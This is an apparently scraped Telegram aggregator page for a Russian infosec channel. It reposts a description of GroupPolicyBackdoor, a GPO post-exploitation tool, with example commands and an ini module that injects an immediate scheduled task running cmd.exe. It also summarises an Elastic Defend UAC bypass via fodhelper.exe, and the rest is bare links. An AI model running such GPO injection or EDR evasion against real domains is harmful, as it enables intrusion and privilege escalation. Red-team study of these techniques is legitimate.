Fsecurity | HH

前往频道在 Telegram

Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb

显示更多

俄罗斯216 974 技术与应用31 271

2 018

订阅者

-224 小时

+17 天

-1430 天

118

帖子浏览量

~ 6724 小时

~ 8148 小时

5.85%

参与率

~ 3

每日帖子数

Ads index

beta

帖子存档

2 018

Repost from Whitehat Lab

💻 GroupPolicyBackdoor Инструмент пост эксплуатации для различных манипуляций с GPO. Написан на 😰 Python Впервые представлена на DEFCON 33 Примеры:

#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'

#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'

Пример ini:

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "ad01-srv1.corp.com"
    }]

GPO creation, deletion, backup and injections Various injectable configurations, with, for each, customizable options (see list in the wiki) Possibility to remove injected configurations from the target GPO Possibility to revert the actions performed on client devices GPO links manipulation GPO enumeration / user privileges enumeration on GPOs

💻 Repo 📔 Docs #gpo #redteam #windows ✈️ Whitehat Lab 💬Chat

2 018

🔗Ссылка: https://www.ptsecurity.com/ru-ru/research/analytics/trendy-v-razvitii-vredonosnogo-po-i-ego-rol-v-kiberatakah/

2 018

🔗Ссылка: https://telegra.ph/OSCP-08-24

2 018

🔗Ссылка: https://habr.com/ru/articles/924814/

2 018

🔗Ссылка: https://securitymedia.org/news/microsoft-preduprezhdaet-ob-opasnoy-uyazvimosti-exchange.html

2 018

Repost from Whitehat Lab

💻 Elastic Defend Bypass: UAC Bypass Chain Leading To Silent Elevation

A chained technique has been identified that allows a local, unprivileged attacker to achieve silent privilege escalation to administrator by bypassing protections enforced by Elastic Defend v9.0.4. The method leverages a trusted auto-elevated Windows binary (fodhelper.exe) in conjunction with a registry hijack and COM object execution, resulting in arbitrary code execution at elevated privileges - without triggering a UAC prompt or EDR detection

🔗 UAC Bypass 💻 Presentation #uac #bypass #windows #lpe ✈️ Whitehat Lab 💬Chat